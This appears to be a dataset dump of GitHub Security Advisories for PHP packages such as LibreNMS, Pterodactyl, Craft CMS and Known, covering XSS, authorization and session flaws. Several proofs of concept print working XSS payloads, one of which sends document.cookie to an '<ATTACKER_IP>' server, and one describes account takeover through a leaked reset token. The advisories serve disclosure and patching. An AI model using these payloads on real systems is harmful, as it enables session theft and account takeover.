deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-93fx-g747-695x
Package: librenms/librenms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 26.2.0
Patched in: 26.2.0

Summary: LibreNMS /port-groups name Stored Cross-Site Scripting

Details:
### Summary
**/port-groups name Stored Cross-Site Scripting**

- HTTP POST
- Request-URI(s): "/port-groups"
- Vulnerable parameter(s): "name"
- Attacker must be authenticated with "admin" privileges.
- When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter.
- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.

### Details
The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters
or strings. When the delete button is rendered, the following template is used to render the page:

_resources/views/port-group/index.blade.php:_
```
@extends('layouts.librenmsv1')
@section('title', __('Port Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-port-groups-panel">
// [...Truncated...]
@foreach($port_groups as $port_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Port Group') }}" aria-label="{{ __('Delete') }}"

onclick="delete_pg(this, '{{ $port_group-
>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')"> // using the
port's name in the Delete button functionality without sanitizing for XSS related
characters/strings
```

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored
cross-site scripting.

### PoC
- Login
- Select Ports > Manage Port Groups
- Select New Port Group
- Input `12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)`
- Select Save
- Select the Delete Icon for the newly created Port Group
- Select OK
- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.
GitHub Security Advisory: GHSA-gqx7-99jw-6fpr
Package: librenms/librenms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 26.2.0
Patched in: 26.2.0

Summary: LibreNMS affected by reflected xss via email field 

Details:
### Summary
reflected xss via email field 

### Details
 1. visit `http://127.0.0.1/settings/alerting/email`
 2. in the email address input but this payload 
 `<img src=1 onerror=alert(document.cookie)>` 
3. notice the alert 
### PoC
- video attached with the report
https://github.com/user-attachments/assets/c1b443f5-85c6-4545-b04f-def06d82b42e


### Impact
can lead to ATO
GitHub Security Advisory: GHSA-2x45-7fc3-mxwq
Package: firebase/php-jwt (COMPOSER)
Severity: LOW (CVSS 6.5)
CWE: CWE-326: Inadequate Encryption Strength
Vulnerable versions: < 7.0.0
Patched in: 7.0.0

Summary: php-jwt contains weak encryption

Details:
php-jwt v6.11.0 was discovered to contain weak encryption.
GitHub Security Advisory: GHSA-g7vw-f8p5-c728
Package: pterodactyl/panel (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-283: Unverified Ownership, CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 1.12.1
Patched in: 1.12.1

Summary: Pterodactyl Panel Allows Cross-Node Server Configuration Disclosure via Remote API Missing Authorization

Details:
### Summary

A missing authorization check in multiple controllers allows any user with access to a node secret token to fetch information about any server on a Pterodactyl instance, even if that server is associated with a different node. This issue stems from missing logic to verify that the node requesting server data is the same node that the server is associated with.

Any authenticated Wings node can retrieve server installation scripts (potentially containing secret values) and manipulate the installation status of servers belonging to other nodes. Wings nodes may also manipulate the transfer status of servers belonging to other nodes.

_This vulnerability requires a user to acquire a secret access token for a node. We rated this issue based on potential worst outcome. Unless a user gains access to a Wings secret access token they would not be able to access any of these vulnerable endpoints, as every endpoint requires a valid node access token._

### Details
1. The Remote API endpoint `GET /api/remote/servers/{uuid}` fetches a server by UUID and returns its complete configuration without verifying that the requesting node owns the server.
2. Both failure() and success() methods in `ServerTransferController` fetch servers by UUID without verifying node ownership.
3. Missing authorization checks in `ServerInstallController` allow any authenticated Wings node to retrieve egg installation scripts (containing deployment secrets) and manipulate the installation status of servers belonging to other nodes.

### Impact
A single compromised Wings node daemon token (stored in plaintext at `/etc/pterodactyl/config.yml`) grants access to sensitive configuration data of every server on the panel, rather than only to servers that the node has access to. An attacker can use this information to move laterally through the system, send excessive notifications, destroy server data on other nodes, and otherwise exfiltrate secrets that they should not have access to with only a node token.

Additionally, triggering a false transfer success causes the panel to delete the server from the source node, resulting in permanent data loss.
GitHub Security Advisory: GHSA-hr7j-63v7-vj7g
Package: pterodactyl/panel (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-284: Improper Access Control, CWE-613: Insufficient Session Expiration
Vulnerable versions: < 1.12.1
Patched in: 1.12.1

Summary: Pterodactyl Panel's SFTP sessions remain active after user account deletion or password change

Details:
### Summary
Deleting a user account with SFTP access or changing the user's password does not immediately terminate existing SFTP sessions, allowing continued filesystem access after credentials are revoked.
This can result in unintended and unauthorized access to server files even after administrators believe access has been fully invalidated.


### Details
When a user with SFTP access is deleted from the Pterodactyl Panel or when the user's password is changed while one or more SFTP connections are active, those existing connections remain fully functional.

Neither account deletion nor password change invalidates the authentication state of already-established SFTP sessions. As a result, the active SFTP connection pool continues to allow read and write operations until the client disconnects or the session times out.

This behavior occurs even when the password is changed by an administrator through the panel, meaning credential rotation does not revoke active access.

This suggests that active SFTP sessions are not tracked or forcefully terminated on credential revocation events. This effectively prevents administrators from responding to credential compromise incidents in real time.


### PoC
Scenario 1: Account deletion
1. Create a user with SFTP access to a server.
2. Connect to the server via SFTP using any SFTP client (e.g. sftp, FileZilla).
3. Keep the SFTP session open and active.
4. Delete the user account from the Pterodactyl Panel.
5. Continue performing file operations through the already-established SFTP connection.

Result:
The SFTP session remains active and usable despite the user account being deleted.

Scenario 2: Password change
1. Create a user with SFTP access to a server.
2. Establish an active SFTP connection.
3. Change the user's password (including via administrator panel).
4. Continue performing file operations using the existing SFTP connection.

Result:
The SFTP session remains active and usable even after the password has been changed.


### Impact
This issue prevents immediate revocation of compromised credentials. Vulnerability type: Access control / session invalidation issue

Impacted parties:

1. Server administrators
2. Hosting providers using Pterodactyl Panel

Security impact:

Deleted users may retain filesystem access longer than intended, which can lead to:

1. Unauthorized data access
2. Data modification or deletion
3. Compliance and security policy violations
GitHub Security Advisory: GHSA-rfq9-4wcm-64gh
Package: directorytree/imapengine (COMPOSER)
Severity: MODERATE (CVSS 7.6)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: < 1.22.3
Patched in: 1.22.3

Summary: ImapEngine affected by command injection via the ID command parameters

Details:
Versions of the package `directorytree/imapengine` before 1.22.3 are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') via the id() function in ImapConnection.php due to improperly escaping user input before including it in IMAP ID commands. This allows attackers to read or delete victim's emails, terminate the victim's session or execute any valid IMAP command on victim's mailbox by including quote characters `"` or CRLF sequences `\r\n` in the input.
GitHub Security Advisory: GHSA-78wq-6gcv-w28r
Package: idno/known (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Vulnerable versions: <= 1.6.2
Patched in: 1.6.3

Summary: Known affected by Account Takeover via Password Reset Token Leakage

Details:
### Summary
A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

### Details
The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:
<input type="hidden" name="code" value="[SECRET_TOKEN]">

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

### PoC
1. The attacker asks for a password reset for the victim

<img width="1328" height="580" alt="image" src="https://github.com/user-attachments/assets/0197907e-f10b-4e6d-989e-f25c408862cd" />

<img width="1139" height="452" alt="image(1)" src="https://github.com/user-attachments/assets/9a317b27-b56a-4663-9965-d3e660713f4e" />


2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.
<img width="917" height="220" alt="image(2)" src="https://github.com/user-attachments/assets/af89ba3b-de56-4437-84b3-c1feb56d2348" />

3. With this code, the attacker is able to use it in order to reset the victim password.
<img width="1335" height="711" alt="image(3)" src="https://github.com/user-attachments/assets/498b8a2e-9eb2-4b50-bc35-26b0f2764c8d" />

<img width="1258" height="524" alt="image(4)" src="https://github.com/user-attachments/assets/d1304dc3-bf56-4ec7-920c-ecce502db6b0" />

4. The attacker is able to login with the new password.

<img width="1514" height="631" alt="image(5)" src="https://github.com/user-attachments/assets/2533032e-6f0d-45c8-9fe1-881bfedebcc4" />

<img width="1528" height="647" alt="image(6)" src="https://github.com/user-attachments/assets/a6e9144c-cc96-493d-8780-9156c299a192" />



### Impact
- An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.
GitHub Security Advisory: GHSA-r33w-fg8j-9c94
Package: cesargb/laravel-magiclink (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 2.0.0, < 2.25.1
Patched in: 2.25.1

Summary: MagicLink: Insecure Deserialization of MagicLink Actions Leads to Remote Code Execution

Details:
## Description

MagicLink stores serialized action objects in the `magic_links.action` database column and deserializes them without integrity validation or class allowlisting in [src/MagicLink.php](src/MagicLink.php#L59-L77) and [src/Actions/ResponseAction.php](src/Actions/ResponseAction.php#L64-L77). An attacker with the ability to manipulate database records (e.g., via SQL injection or compromised admin access) could inject malicious serialized objects containing arbitrary closures, leading to Remote Code Execution (RCE) when the magic link is visited.

## Resolution

The vulnerability has been mitigated through HMAC-signed serialization using the application key, class allowlisting restricted to `ActionAbstract` subclasses and framework classes, strict type validation preventing arbitrary object storage, and backward compatibility support for legacy data via `allowed_classes` in `unserialize()`. Implementation includes a new [Serializable](src/Security/Serializable/Serializable.php) security class with signing/verification, refactored getter/setter methods in MagicLink.
GitHub Security Advisory: GHSA-gcpq-mrgg-v5f3
Package: phraseanet/phraseanet (COMPOSER)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 4.0.3
Patched in: unpatched

Summary: Phraseanet vulnerable to stored cross-site scripting through crafted file names

Details:
Phraseanet 4.0.3 contains a stored cross-site scripting vulnerability that allows authenticated users to inject malicious scripts through crafted file names during document uploads. Attackers can upload files with embedded SVG scripts that execute in the browser, potentially stealing cookies or redirecting users when the file is viewed.
GitHub Security Advisory: GHSA-9278-6hcj-2p4j
Package: kimai/kimai (COMPOSER)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.1
Patched in: 1.1

Summary: Kimai 2 vulnerable to persistent cross-site scripting in the timesheet descriptions

Details:
Kimai 2 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts into timesheet descriptions. Attackers can insert SVG-based XSS payloads in the description field to execute arbitrary JavaScript when the page is loaded and viewed by other users.
GitHub Security Advisory: GHSA-ff9r-ww9c-43x8
Package: statamic/cms (COMPOSER)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 6.0.0, < 6.2.3
Patched in: 6.2.3

Summary: Statamic CMS vulnerable to privilege escalation via stored cross-site scripting

Details:
### Impact
Stored XSS vulnerability in content titles allow authenticated users with content creation permissions to inject malicious JavaScript that executes when viewed by higher-privileged users.

Malicious user must have an account with control panel access and content creation permissions.

This vulnerability can be exploited to allow super admin accounts to be created.

### Patches
This has been fixed in 6.2.3.
GitHub Security Advisory: GHSA-gwmx-9gcj-332h
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 6.0.0-alpha.1, < 6.2.5
Patched in: 6.2.5

Summary: Statamic CMS's missing authorization allows access to assets

Details:
### Impact
Users without permission to view assets are able are able to download them and view their metadata.

Logged-out users and users without permission to access the control panel are unable to take advantage of this.

### Patches
This has been fixed in 5.73.6 and 6.2.5.
GitHub Security Advisory: GHSA-gwmx-9gcj-332h
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 5.73.6
Patched in: 5.73.6

Summary: Statamic CMS's missing authorization allows access to assets

Details:
### Impact
Users without permission to view assets are able are able to download them and view their metadata.

Logged-out users and users without permission to access the control panel are unable to take advantage of this.

### Patches
This has been fixed in 5.73.6 and 6.2.5.
GitHub Security Advisory: GHSA-8grv-jq2g-cfhw
Package: amphp/http-server (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 2.0.0-rc1, < 2.1.10
Patched in: 2.1.10

Summary: amphp/http-server affected by HTTP/2 DDoS vulnerability

Details:
Versions of `amphp/http-server` prior to `3.4.4` for the 3.x release branch and prior to `2.1.10` for the 2.x release branch are vulnerable to the HTTP/2 "MadeYouReset" DoS attack described by CVE-2025-8671 and https://kb.cert.org/vuls/id/767506.

In versions `3.4.4` and `2.1.10`, stream reset protection has been refactored to account for the number of reset streams within a sliding time window.

Note that your application must expose HTTP/2 connections directly to be affected by this vulnerability. Servers behind a proxy using HTTP/1.x such as nginx are not affected.
GitHub Security Advisory: GHSA-8grv-jq2g-cfhw
Package: amphp/http-server (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 3.0.0-beta.1, < 3.4.4
Patched in: 3.4.4

Summary: amphp/http-server affected by HTTP/2 DDoS vulnerability

Details:
Versions of `amphp/http-server` prior to `3.4.4` for the 3.x release branch and prior to `2.1.10` for the 2.x release branch are vulnerable to the HTTP/2 "MadeYouReset" DoS attack described by CVE-2025-8671 and https://kb.cert.org/vuls/id/767506.

In versions `3.4.4` and `2.1.10`, stream reset protection has been refactored to account for the number of reset streams within a sliding time window.

Note that your application must expose HTTP/2 connections directly to be affected by this vulnerability. Servers behind a proxy using HTTP/1.x such as nginx are not affected.
GitHub Security Advisory: GHSA-f339-246p-wwjp
Package: frosh/adminer-platform (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 2.2.1
Patched in: 2.2.1

Summary: FroshAdminer Adminer UI is accessible without admin session

Details:
### Summary
Unauthenticated access to Adminer UI

### Details
The Adminer route (/admin/adminer) was accessible without Shopware admin authentication. The route was configured with auth_required=false and performed no session validation, exposing the Adminer UI to unauthenticated users.

Note: Database access itself requires credentials that are only set through the ACL-protected API endpoint. Direct database access without prior admin login is not possible through this vulnerability alone.

### Impact
An unauthenticated user could access the Adminer interface, potentially disclosing version information or exploiting Adminer-specific vulnerabilities.

### Patches
Version 2.2.1 adds session validation. The Adminer route now verifies an authenticated session flag before rendering — returning HTTP 403 otherwise.

### Workarounds
Deactivate or uninstall the plugin.
GitHub Security Advisory: GHSA-fxp3-g6gw-4r4v
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-269: Improper Privilege Management, CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 4.0.0-RC1, < 4.17.0-beta.1
Patched in: 4.17.0-beta.1

Summary: Craft CMS: GraphQL Asset Mutation Privilege Escalation

Details:
There is a Privilege Escalation vulnerability in Craft CMS’s GraphQL API that allows an authenticated user with write access to one asset volume to escalate their privileges and modify/transfer assets belonging to any other volume, including restricted or private volumes to which they should not have access.

## Summary:

Type: Privilege Escalation (CWE-269)
Affected: Craft CMS 5.x (likely affects 4.x and 3.x as well)
Location: `src/gql/resolvers/mutations/Asset.php lines 57-107`

## Root Cause:

The saveAsset GraphQL mutation validates authorization against the schema-resolved volume but fetches the target asset by ID without verifying that the asset belongs to the authorized volume. This allows unauthorized cross-volume asset modification and transfer.

## Impact:

- Transfer confidential assets from private volumes to public volumes (data exfiltration)
- Modify asset metadata in restricted volumes
- Bypass multi-tenant isolation in shared hosting environments
GitHub Security Advisory: GHSA-fxp3-g6gw-4r4v
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-269: Improper Privilege Management, CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 5.0.0-RC1, < 5.9.0-beta.1
Patched in: 5.9.0-beta.1

Summary: Craft CMS: GraphQL Asset Mutation Privilege Escalation

Details:
There is a Privilege Escalation vulnerability in Craft CMS’s GraphQL API that allows an authenticated user with write access to one asset volume to escalate their privileges and modify/transfer assets belonging to any other volume, including restricted or private volumes to which they should not have access.

## Summary:

Type: Privilege Escalation (CWE-269)
Affected: Craft CMS 5.x (likely affects 4.x and 3.x as well)
Location: `src/gql/resolvers/mutations/Asset.php lines 57-107`

## Root Cause:

The saveAsset GraphQL mutation validates authorization against the schema-resolved volume but fetches the target asset by ID without verifying that the asset belongs to the authorized volume. This allows unauthorized cross-volume asset modification and transfer.

## Impact:

- Transfer confidential assets from private volumes to public volumes (data exfiltration)
- Modify asset metadata in restricted volumes
- Bypass multi-tenant isolation in shared hosting environments
GitHub Security Advisory: GHSA-9f5h-mmq6-2x78
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0-RC1, <= 4.16.17
Patched in: 4.16.18

Summary: Craft CMS Vulnerable to Stored XSS in Number Prefix & Suffix Fields

Details:
## Summary

A stored XSS vulnerability exists in the Number field type settings. The Prefix and Suffix fields are rendered using the `|md|raw` Twig filter without proper escaping, allowing script execution when the Number field is displayed on users' profiles.

## Proof of Concept

### Required Permissions

- Administrator access
- `allowAdminChanges` is enabled in production, which is against our [security recommendations](https://craftcms.com/knowledge-base/securing-craft).

### Steps to Reproduce
1. Log in with an admin account
2. Navigate to **Settings** → **Fields** → **New field**
3. Choose **Number** as the field type
4. Set the **Prefix/Suffix Text** field to: <img width="611" height="908" alt="image" src="https://github.com/user-attachments/assets/63766ca4-4fa9-490b-8bea[PII_REDACTED]7d" />
```html
<img src=x onerror="alert('Number Prefix/Suffix XSS')" hidden>
```
5. Save the field
6. Add this field to any element (e.g., User Profile fields via **Settings** → **Users** → **User Fields**)
7. Navigate to your account (`/admin/myaccount`) or any user profile (`/admin/users/{id}`)
8. XSS executes when viewing the form <img width="1246" height="677" alt="image-1" src="https://github.com/user-attachments/assets/dafeb2b7-905f-4a4b-b3d6-1c16a905498f" />

## Mitigation
Sanitize prefix/suffix before rendering or use `|e` filter instead of `|raw`.